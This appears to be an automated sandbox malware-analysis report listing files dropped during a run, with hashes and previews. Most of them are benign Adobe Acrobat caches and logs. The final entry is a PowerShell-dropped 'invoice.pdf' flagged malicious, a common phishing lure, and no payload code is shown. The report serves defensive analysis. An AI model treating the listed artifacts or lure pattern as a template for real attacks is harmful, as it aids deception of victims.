Size (bytes):	286
Entropy (8bit):	5.213456428509109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfshHHrPeUkwRe9:YvXKXTa/Y5YpW7bUGUUUkee9
MD5:	92B22517618864E4A2D60FBFD8B95DDF
SHA1:	E4F87AA3D8921239FFED4975E988486A3BBED2F7
SHA-256:	7753C2E6648B74C19242F20AD6B04B858023B416B123CB757BEE8F5AD0E2F0F3
SHA-512:	F045C3248B4D58607A38B812C42315D24EADD4113F44ABBE14D4CF01330C3C509BE2109D830FA4CC7312FAD9B6C88CCB8024A51551294EA2B86DDB0E7A35C4E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2240420930629785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJTqgFCrPeUkwRe9:YvXKXTa/Y5YpW7bUGTq16Ukee9
MD5:	EEC32F47CC2216EA4521AC2973A164D6
SHA1:	D170FC6B3859484B006B4D29D00AAFAF12C86D48
SHA-256:	430B5357E7F2AB7B5DB56CC1C1B389D2382A5227090295F7770B8A723985EF4E
SHA-512:	545C4728792E0F957578E5B556B25F26CFE152641F718A596849D9DB8313C0B07D43C1E960D9100296618F3D5DE91CB7FAA92D3603B7BACBE5740C51EBB78746
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136196889425502
Encrypted:	false
SSDEEP:	48:Y/xt91x8AlbsuzXwVqQAmxCpawOAfmIKXqe/Zp/h9ykn:if13lbS5AohIGq2p//t
MD5:	3AFA6B46CBEE44177972F83B9DEC4426
SHA1:	588DE618D7EE8BD71E5CA87FAE195877B83E060A
SHA-256:	29D1B75A6BB5CDA7F34DF6F213F1417744DC36DD6E4AD13434459A64FA6E0D75
SHA-512:	8563EA85B1F7AF492108F31FB8F7ADCC5B8EEF3FF037E9052D9F269B2EFE69835D9AB0A106CCAA9B348320AF3601D2653BCD6681278C730509F1092890C11513
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"85fdfcec654a4a1bdb000db8bb6b1307","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570821000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c520016be7b861e256b56ec4447a184b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570821000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b28a99552927c7f0bc982a45e3b504b5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570821000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5f2a262554f353e9c9162903a92c0954","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570821000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7a53332ccb96d5dae704b17c9549cb63","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570821000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"45264b717439762a27dfda69bb4b31c2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9834720660009936
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpB4zJwtNBwtNbRZ6bRZ4gF:TVl2GL7ms6ggOVpCzutYtp6PZ
MD5:	C61C808AB486DD49593A4AD6A983A416
SHA1:	7A35488A992DF9C1FC4810CC93AEFC4D083AE3E1
SHA-256:	9BDD5338FD9907AD978A489F6E863BA26774937168F1B3ABEF7AD2CE6C9D469C
SHA-512:	A1D781279D238E65CE7B079F357C8906DC5BAAF1612901820BEA2EEDD6FC72FB5E6182ABF60E6561D135AB82557CFCC7FEA6CC750512656B1569FFE593AB6F63
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3365906251386352
Encrypted:	false
SSDEEP:	24:7+tmAD1RZKHs/Ds/SpBPzJwtNBwtNbRZ6bRZWf1RZKWqLBx/XYKQvGJF7ursN:7MmGgOVpZzutYtp6PM7qll2GL7msN
MD5:	A9A6B96180C8D58F35E28CF2CC5AA48D
SHA1:	11657FC5A6C3DFD2C6A66417E670E70C37076616
SHA-256:	87E8606E63EC65B153FA410C416E857CA73BCE2778212D0B188A75E179AFA6C0
SHA-512:	201C2FB144D5AC6322DEFCC1E54487CD141433B64E7578FEE3BC3ED6743329B0AB2746A1EADD8A1E8E90623E5480DFBA1C93CC278108F7A5E5BA0DDE016A4B4D
Malicious:	false
Preview:	.... .c.....uC.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgoXnHhH1FZ1ZUCz+md5+oeu2pkfBaYyu:6a6TZ44ADEoXHJjZACimfTBaK
MD5:	0C20E606D2E7B1080981198893B2302F
SHA1:	664B47BEC7BA8DDC40BF499CE586387FFD756C58
SHA-256:	121743DD6DAE7AE5FF2621273AB0EC15F92CF78C0C7B2044F9C92DD243DDC804
SHA-512:	685053979FF128647A5435C6387682DCC0A1BB9ACA6AF7EB2F11F679BEEB8C541B89D47D772F3AAD9A7336A39213226E195E9FD99BAD66FE802EF8A69171E7FB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnsiXz:NllUsiX
MD5:	D664BA2397F45C07CD21EF138C1A4E97
SHA1:	7D74C67DB2C0D62FF3BCAFF13D0F102E94550D30
SHA-256:	1C8181B5C6A049E968ECC6F0CDD6F0962A49AEDC6198892A09B15111900A5151
SHA-512:	5066F8E7285593B4ECBC4B0889C05B7CC71D3FFDA0C1E6CFF1548D04381AD9745034AB2CB0E16D2541EDF1030A4F838BE02C91C3CABCCB949161A4007D724ABC
Malicious:	false
Preview:	@...e...................................3............@..........

C:\Users\user\AppData\Local\Temp\MSIc3b63.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5177502348333967
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClr:Qw946cPbiOxDlbYnuRK+bS
MD5:	592190DCA31A60510C50543482FC2AEF
SHA1:	2912C61B6FF6867A4E1EAA359482935668FDAA46
SHA-256:	E717A87C7DB2B8B09BE3349BB0E9EEDEDBBD4D45D0E92FDD65FAAB9B4980FB57
SHA-512:	05E790C3B4D6085080862283AEB6A6630B2439DB83ABC55E7B5A1F06071A633F1FFB008DCA0C11B2600B3C9EA58F8CE6ED08CA55CFBC82140EF53086A5B20E6C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.4.7.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emt4thnv.erk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gv0jb51i.rjj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-46-57-954.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.37176409625749
Encrypted:	false
SSDEEP:	384:mpdsdNwAXlnkka2dMKQPJn/aa5CYuhZqly1JbzjiteJkm8/JZub2D8Dz6QWnERRM:zRq
MD5:	0B5EB4C1E567BA09310D5FB34ABA0E51
SHA1:	8FD1223597D5B4E5B9CE6D335287F90923D2458A
SHA-256:	062ADFA5DCB03A1090B3AAF11381F745D438377106C032A11ABA7610A893DE37
SHA-512:	15F4EFE6FCD277F60BEBCF09BB4F1A37A8B29FAEB21407AB47A26082063CD534B730FA9DB847047C44ADBFF2D9D02319BD5F918F6505FF537E47FD2B9A0B4478
Malicious:	false
Preview:	SessionID=abd369ea-02a1-44b3-9f06-83a6b92713db.1736570817967 Timestamp=2025-01-10T23:46:57:967-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=abd369ea-02a1-44b3-9f06-83a6b92713db.1736570817967 Timestamp=2025-01-10T23:46:57:984-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=abd369ea-02a1-44b3-9f06-83a6b92713db.1736570817967 Timestamp=2025-01-10T23:46:57:984-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=abd369ea-02a1-44b3-9f06-83a6b92713db.1736570817967 Timestamp=2025-01-10T23:46:57:984-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=abd369ea-02a1-44b3-9f06-83a6b92713db.1736570817967 Timestamp=2025-01-10T23:46:57:984-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403547199538456
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb5:Dx
MD5:	B2997B50CF425B7F1271C6B4F33786AD
SHA1:	53C6F752B8245EE21E4DDFE8D832B7D9A4BE0ADD
SHA-256:	E715B36522FEE83A91D4C070F7668DB57C74B16CE370E6D06FE2013F40F43799
SHA-512:	EBB8EF2505D9C9E2C6397A4F46B7B6BD52982CF4C3BF05187AA1C60EC6247D4D7C02B33D7269E8F5C6DFAA67C1D1F3EAEFBA5A7D8C36B475E3A67A3834095333
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8117bb8e-a5ce-4ab3-bf1e-2c67f7733ebb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a0876e5f-8e2c-443b-bcf2-ea9c8a97a8c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLcGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLcGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A46246FAEAB95D87F5B4FE236C2B3D3E
SHA1:	7F018DB9238A63FEAD8D11A92297E7366058A75A
SHA-256:	7E822FECC47177C5A7F4C250E7D53509D104DE68B0D0CE9445877B508400988E
SHA-512:	8AAB79958BF39F014FBA7F69287FE0C357746E63FA3482DE3231BDF4A97B964A0815DAF7BFE9751C55BA6BE618E0A964CEB23FC30B4FA9DFEB284F42EBA897BF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d5952394-344b-4566-8575-01781816e671.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f180cc4e-e07f-4d0a-834e-46b1fa7b7c49.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
